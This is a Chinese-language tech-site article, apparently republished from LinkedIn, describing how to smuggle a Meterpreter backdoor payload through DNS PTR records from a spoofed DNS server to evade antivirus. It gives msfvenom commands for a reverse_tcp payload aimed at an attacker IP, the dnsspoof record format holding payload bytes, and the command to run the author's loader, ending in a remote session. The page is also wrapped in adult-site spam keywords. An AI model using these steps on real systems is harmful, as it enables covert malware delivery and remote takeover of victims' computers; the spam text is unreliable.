成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

通過DNS傳輸后門來繞過殺軟

安全 黑客攻防
你不能相信殺軟總是可以防范網絡中攻擊載荷的傳輸,如果通過這種技術或者其他的方法來傳送攻擊載荷的話,哪怕是使用其他協議。

前言

在本篇文章里,我想解釋怎么樣不使用加密數據的方法也能繞過殺軟,同時我也想在github上分享源代碼。https://github.com/DamonMohammadbagher/NativePayload_DNS

我想使用DNS協議來傳輸我的后門載荷,從攻擊者的機器到客戶端機器。這種情況下,我們的后門代碼就不需要是硬編碼的或者加密的了。

因此被殺軟檢測出來的風險就很低了。

為什么是DNS協議?

因為在大多數的網絡里DNS流量都是有效的,IPS/IDS或者硬件防火墻都不會監控和過濾DNS流量。我知道你可以使用SNORT IPS/IDS或者類似的東西來檢測DNS流量,但是在DNS流量里使用特征檢測出新的載荷非常困難。當然網絡管理員也有可能這么做。

本篇文章我想給你展示一個在DNS的請求和回應流量里隱藏你的載荷的方法。

漏洞點在哪兒呢?

如果你想要在后門文件中利用非加密或者無硬編碼的攻擊負荷,比如現在這種情況,你需要利用像http,DNS ...這樣的網絡協議把攻擊負荷從你的系統傳送到目標機上。這種情況下,我們想通過DNS協議傳送攻擊負荷,并同時在目標機器的內存里執行這些攻擊載荷。因此漏洞點在于攻擊載荷的位置,還在于殺軟檢測惡意樣本的方式。因為在這種情況下,我們不會保存攻擊載荷到文件系統,載荷只是在內存里,流量里。

很不幸運的是,各種殺軟為檢測惡意代碼,監控網絡流量,監控及掃描內存的,卻不是很有效。甚至大多數殺軟不管是否有IPS/IDS特性,都是根本無效的。

例子:后門載荷隱藏在擁有PTR記錄和A記錄的DNS域中。

圖 1:DNS域(IP地址到DNS全稱域名)

注:圖片一的紅色翻譯:

第一行:Meterpreter載荷的第一行數據 {載荷}.1.com

左下方:時間設置,后門核心代碼每十分鐘重連一次攻擊者,每5分鐘建立一次連接。1.1.{10}.{5}

右下方:繞過比如像Snort對DNS流量的基于特征檢測攻擊載荷的好辦法(可能);-),拆分攻擊載荷到1-5記錄。你可以利用NSLOOKUP來還原這些記錄,每隔一段時間比如(每2分鐘:獲取一個記錄)

正如你所見,這個DNS域中,我有兩個很像是全稱域名的PTR類型的記錄,隱藏了Meterpreter載荷。還有兩個PTR類型的記錄保存了后門重連的時間設置,還有一個A類型的記錄也是保存了時間設置。

拆分載荷數據到記錄! 如果你想繞過防火墻或者IPS/IDS對DNS流量的基于特征的檢測。

拆分的一個好辦法是,把你的攻擊載荷拆分到PTR類型的DNS記錄里,或者其他你可以加密載荷并使用的協議里。這取決于你和你的目標網絡。

正如圖1里,我把Meterpreter載荷的第一行數據拆分到5個記錄里。因此這些記錄里的載荷等于記錄1.1.1.0。

例子: 1.0.1.0 + 1.0.1.1 + 1.0.1.2 + 1.0.1.3 + 1.0.1.4 = 1.1.1.0。

在客戶端,你可以使用其他的工具或者技術,從假冒的DNS服務器獲取還原出這些載荷。不過,我打算利用NSLOOKUP命令行實時獲取,因為我覺得這比較簡單。

在圖片2,我嘗試用NSLOOKUP工具測試假冒的DNS服務器到客戶端的DNS流量。

圖片2:Nslookup命令及DNS流量測試。

注:圖2里的紅色翻譯如下:Meterpreter載荷通過DNS協議傳輸的流量。現在怎么檢測呢?有思路嗎?

現在我要講下,怎么樣在Linux里創建假冒的DNS服務器,以及Meterpreter載荷如何保存拆分到DNS記錄。最后我要利用我的工具NativePayload_DNS.exe來執行這些載荷,并得到一個Meterpreter連接會話。

步驟1:一步步的創建擁有Meterpreter載荷的假冒DNS服務器:

本步驟中,你可以利用Msfvenom創建一個Meterpreter載荷,像圖片4中那樣。并把載荷一行一行的拷貝到dns.txt文件中,然后利用DNSSpoof在Kali Linux中創建一個假冒的DNS服務器。

不過我首先展示EXE模式的Meterpreter載荷,并用所有的殺軟測試,然后你會發現絕大多數殺軟都可以檢測出來。

為什么我要展示著一點呢?

因為我想表明給你看,同一個攻擊載荷,用兩種技術,一是EXE模式,二是DNS傳輸。你會看到殺軟可以檢測出EXE模式的載荷,但是不能檢測出利用第二個技術”DNS傳輸”的載荷。但我們知道這兩種方法是同一個載荷。

例子1 , EXE模式的載荷: msfvenom –-platform windows –arch x86_64 –p windows/x64/meterpreter/reverse_tcp lhost=192-168-1-50 –f exe > /root/Desktop/payload.exe

下邊圖3你會看到,我的EXE模式的載荷被11款殺軟檢測出來了。

圖3:EXE模式的載荷被檢測出來了。

好了,現在該用第二種技術了,生成載荷時使用了C類型。

例2 , 第二種技術DNS流量: msfvenom –-platform windows –arch x86_64 –p windows/x64/meterpreter/reverse_tcp lhost=192-168-1-50 –f c > /root/Desktop/payload.txt

生成payload.txt文件后,必須把載荷拷貝到dns.txt,按照圖4里的格式,一行一行的拷貝。這非常重要,必須保證dns.txt有正確的格式。因為Linu里的Dnsspoof要用到,格式如下:

  1. IP地址 “{載荷}.域.com” 
  2. 1.1.1.0 “0xfc0x480x830xe40xf00xe8.1.com” 
  3. 1.1.1.1“0xbc0xc80x130xff0x100x08.1.com” 

在這種情況下,因為我的C#后門定制化的用到了域名"1.com",我們必須使用這個名稱作為域名。或者像其他"2.com","3.net","t.com",再或者一個字符加".com"作為域名。

所以在這種情況下,IP地址” 1.1.1.x” 里的x就是dns.txt文件里的載荷行數,

  1. 1.1.1.0 --> payload.txt里的0行 --> “{載荷0}.1.com” 
  2. 1.1.1.1 --> payload.txt里的1行  --> “{載荷1}.1.com” 
  3. 1.1.1.2 --> payload.txt里的2行  --> “{載荷2}.1.com” 

圖4:生成假冒的DNS服務器和Meterpreter載荷的步驟1

圖4:生成假冒的DNS服務器和Meterpreter載荷的步驟1

生成后的dns.txt文件應該如下圖5。

圖5:dnsspoof用來假冒DNS服務器的Dns.txt文件

圖5:dnsspoof用來假冒DNS服務器的Dns.txt文件

好了,現在利用dnsspoof在Linux里生成假冒的DNS服務器,像下圖6一樣。

圖6:dnsspoof工具

圖6:dnsspoof工具

在步驟2中,我們需要一個后門,從假冒的DNS服務器下載攻擊載荷,利用的是DNS協議。

在這種情況下,我編寫了C#代碼來干這件事。我的代碼里使用了nslookup.exe發送DNS請求,最終我的代碼捕獲到了DNS PTR類型回應里的后門載荷。

C# 源代碼鏈接: https://github.com/DamonMohammadbagher/NativePayload_DNS

步驟2:

源代碼編譯后,生成的exe,按照如下的命令語法執行:

命令語法: NativePayload_DNS.exe “起始IP地址” 計數 “假冒DNS服務器IP地址”

例如: C:\> NativePayload_DNS.exe “1.1.1.” 34 “192.168.1.50”

起始IP地址:是你PTR記錄里的第一個IP地址,不包含最后一節。對于域名ID { 1 . 1 . 1 . }你需要輸入三個1.作為參數。

計數:是DNS PTR類型記錄的個數,在這種情況下,我們dns.txt 文件里的1.1.1.0 …. 1.1.1.33,所以這個計數是34。

假冒DNS服務器IP地址:是我們或者說是攻擊者的假冒的DNS服務器IP地址,在這種情況下,我們的kali linux ip地址是192-168-1-50。

在執行后門之前,你要記住,必須確保kali linux里的Metasploit監聽在IP地址192-168-1-50。

現在你可以像圖7一樣執行后門了:

NativePayload_DNS.exe 1.1.1. 34 192.168.1.50

圖7:NativePayload_DNS 工具

圖7:NativePayload_DNS 工具

正如圖7里,后門嘗試發送DNS請求IP地址1.1.1.x,并得到了PTR或者FQDN類型記錄的回應。在下一張圖里,你會發現客戶端和假冒DNS服務器之間的網絡流量。

圖8:利用DNS流量傳送Meterpreter載荷

圖8:利用DNS流量傳送Meterpreter載荷

最終34個記錄倒計時完成之后,你會在攻擊者那端得到一個Meterpreter連接會話,像圖9里的。而且不幸的是,我的殺軟沒檢測出來這種技術。我認為大多數的殺軟都無法檢測出來,如果你用其他殺軟測試了這個技術,請在評論里留言告訴我結果,還有哪款殺軟和版本;)。謝謝你伙計。

圖9:利用DNS協議的Meterpreter會話連接

圖9:利用DNS協議的Meterpreter會話連接

你會看到我的殺軟再一次被繞過了;-),這是用所有殺軟掃描我的源代碼的結果,你可以比較圖3和圖10。兩個后門使用同樣的載荷。

 圖 10: NativePayload_DNS (AVs結果 = 0 被檢測)

圖 10: NativePayload_DNS (AVs結果 = 0 被檢測)

下張圖你會看到C#源代碼使用了NSLOOKUP工具的背后究竟發生了什么。

圖11:Nslookup 和 UDP連接

最終你會在tcpview和putty里看到我的Meterpreter會話,見下圖:

圖12:Tcpview以及TCP有效連接,當后門載荷被從假冒的DNS服務器下載下來后。

在圖13里,你同樣可以看到Meterpreter會話:

圖13:Meterpreter會話。

圖13:Meterpreter會話。

一目了然:你不能相信殺軟總是可以防范網絡中攻擊載荷的傳輸,如果通過這種技術或者其他的方法來傳送攻擊載荷的話,哪怕是使用其他協議。你的網絡和客戶端/服務器是很脆弱的。所以請用你自己的殺軟測試這個技術,并分享你的經驗,在評論里留言告訴我(也許這件事我說錯了,也許沒有)。

責任編輯:武曉燕 來源: linkedin
相關推薦

2017-03-21 08:20:11

2019-07-04 22:54:15

防火墻CMP系統安全

2016-04-26 11:35:53

2011-09-29 20:52:51

百銳防御信息安全

2019-02-12 15:39:52

2019-11-12 13:20:43

MAC地址NetworkManaFedora

2019-04-02 09:01:47

CoreDNSDNS污染

2016-03-29 10:08:07

2020-05-26 10:38:51

安全 黑客Windows

2009-12-28 16:27:43

DNS連接網絡

2009-04-27 23:29:46

2010-04-27 15:58:28

2010-09-13 15:06:36

2010-09-13 14:47:58

2013-12-27 10:37:01

2010-09-13 14:57:29

2020-08-11 08:25:21

HTTPSSHLinux防火墻

2010-09-13 15:14:03

2010-03-09 08:52:44

2010-04-02 09:44:23

Oracle數據庫
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 紧缚调教一区二区三区视频 | 亚洲一区三区在线观看 | 偷拍自拍网址 | 天天色综 | 成人在线播放网址 | 亚洲 欧美 日韩 在线 | 91中文| 伊人免费视频二 | 一区二区三区精品在线 | 99久久精品国产一区二区三区 | 久久久久久天堂 | av激情在线| 久久人人国产 | 国产黄色在线 | 男人av网| 狠狠色综合网站久久久久久久 | 国产精品久久国产精品久久 | 午夜精品久久久久久久星辰影院 | 国产伊人久久久 | av中文字幕在线 | 日韩精品一区二区三区在线播放 | 国产伦精品一区二区三区高清 | 国产专区视频 | 亚洲精品一区二区三区四区高清 | 日韩高清黄色 | 亚洲免费三区 | 在线日韩不卡 | 美女毛片 | 理论片免费在线观看 | 亚洲一区二区三区四区五区午夜 | 一区二区三区视频在线观看 | 日韩无 | 国产色在线 | 逼逼网 | 欧美亚洲一区二区三区 | 一区二区免费 | 亚洲精品成人在线 | av国产精品毛片一区二区小说 | 欧美日韩视频 | 夜久久| 日韩视频在线免费观看 |